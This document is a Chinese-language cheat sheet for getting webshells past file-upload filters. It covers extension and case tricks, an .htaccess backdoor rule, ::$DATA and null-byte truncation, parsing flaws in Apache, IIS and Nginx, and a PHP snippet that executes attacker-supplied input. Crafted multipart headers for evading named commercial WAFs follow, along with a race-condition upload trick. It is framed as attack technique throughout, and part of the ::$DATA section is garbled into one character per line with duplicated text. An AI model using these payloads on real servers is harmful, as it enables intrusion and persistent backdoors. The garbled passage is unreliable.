文件上传绕过
文件名绕过
我们可以通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过这种类型的验证。
绕过黑白名单策略:
黑名单绕过
文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
名单列表绕过
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx cdx
php php php3 php4
exe exee
特殊文件名绕过
比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性 .htaccess绕过 判断是否支持.htaccess
第一:检测 apache是否开启mod_rewrite
通过php提供的phpinfo()函数查看环境配置,在"apache2handler —> Loaded Modules"里看是否有"mod_rewrite"模块,如没开启则在apache配置文件httpd.conf 中找到"#LoadModule rewrite_module modules/mod_rewrite.so"去掉前面的"#"号,重启apache即可
第二:检测apache是否支持 ".htaccess"
如测试中不支持".htaccess",那在apache配置文件httpd.conf 中找到"<Directory />"与"</Directory>"内的"AllowOverride None"改为"AllowOverride All",重启apache即可
{让apache服务器支持.htaccess,如何让自己的本地Apache服务器支持”.htaccess”呢?其实只要简单修改一下apache的httpd.conf设置就可以让支持.htaccess了。打开httpd.conf文件,用文本编辑器打开后查找
Options FollowSymLinks
AllowOverride None
改为
Options FollowSymLinks
AllowOverride All
就是把None修改为All}
第三:创建.htaccess 文件
创建.htaccess 文件方法:新建文本文档,名字为"htaccess.txt",再打开"htaccess.txt"另存为,此时注意,名称改为 "".htaccess""保存即可
第四:测试伪静态实例
.htaccess文件中输入:
RewriteEngine on
RewriteRule ([a-zA-Z])-([0-9])-([0-9])\.html$ index.php?action=&id=&page=
新建index.php文件并输入:
<?php
echo 'action='.$_GET['action'];
echo '<br>id='.$_GET['id'];
echo '<br>page='.$_GET['page'];
?>
在地址栏中输入 http://127.0.0.1/view-8-2.html 按回车将显示出参数:
action=view
id=8
page=2
1、上传.htaccess 必须是网站根路径
让JPG解析为php
2.留后门 可以在.htaccess 加入php解析规则
类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
上传1.jpg就会将JPG当作PHP执行 点空格点(. .)绕过 (Windows会自动去掉后缀名末尾的点号和空格,Linux不会自动去除后缀名的点号和空格,故Windows搭的服务器才能用该方法)
::$DATA绕过(Windows才能用该方法,原理在文中介绍)
在php+windows的情况下:如果文件名+ ::
D
A
T
A
,
:
:
DATA, ::
DATA,::DATA之后的数据当成文件流处理,不会检测后缀名 且保持" ::
D
A
T
A
"
之
前
的
文
件
名
。
如
果
这
是
我
们
在
w
i
n
d
o
w
s
下
搭
建
的
环
境
的
话
,
我
们
在
文
件
末
尾
加
入
:
:
DATA"之前的文件名。如果这是我们在windows下搭建的环境的话,我们在文件末尾加入 ::
DATA"之前的文件名。如果这是我们在windows下搭建的环境的话,我们在文件末尾加入::DATA即可绕过上传。 ::
D
A
T
A
绕
过
原
理
:
N
T
F
S
文
件
系
统
包
括
对
备
用
数
据
流
的
支
持
。
这
不
是
众
所
周
知
的
功
能
,
主
要
包
括
提
供
与
M
a
c
i
n
t
o
s
h
文
件
系
统
中
的
文
件
的
兼
容
性
。
备
用
数
据
流
允
许
文
件
包
含
多
个
数
据
流
。
每
个
文
件
至
少
有
一
个
数
据
流
。
在
W
i
n
d
o
w
s
中
,
此
默
认
数
据
流
称
为
:
DATA绕过原理:NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:
DATA绕过原理:NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为: DATA。上传.php::$DATA绕过。(仅限windows)
白名单绕过
通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)。 0x00截断 这里有一个问题,为什么get型提交方式时%00不需要解码,而post型为什么要解码 1、get会自动对接受的参数进行解码,解码后就变为0x00 2、post对提交的数据不会自动解码,所以在发送数据的时候进行编码为0x00 所以说00截断的原理都是通过0x00发挥截断作用,只是在post中称为0x00截断,在get中称为%00截断。 具体可以参考这篇文章: https://www.pianshen.com/article/7918834959/ 截断的核心,就是chr(0)这个字符,这个字符不为空(Null),也不是空字符(""),更不是空格。 当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生 。 文件相关信息检测 一般就是检查图片文件的大小,图片文件的尺寸之类的信息,常用getimagesize()函数 Apache解析漏洞
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。
IIS解析漏洞
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
下载绕过 远程下载文件绕过
<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>
文件包含绕过
上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
WAF绕过
安全狗绕过
1.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;
2.通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
3.通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
4.通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata
5.双文件上传绕过
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
6.HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
7.HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
8.等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。
9.修改编码绕过
使用UTF-16、Unicode、双URL编码等等
WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上传绕过
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
360主机上传绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition
MIME类型绕过
上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过
条件竞争绕过
通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
|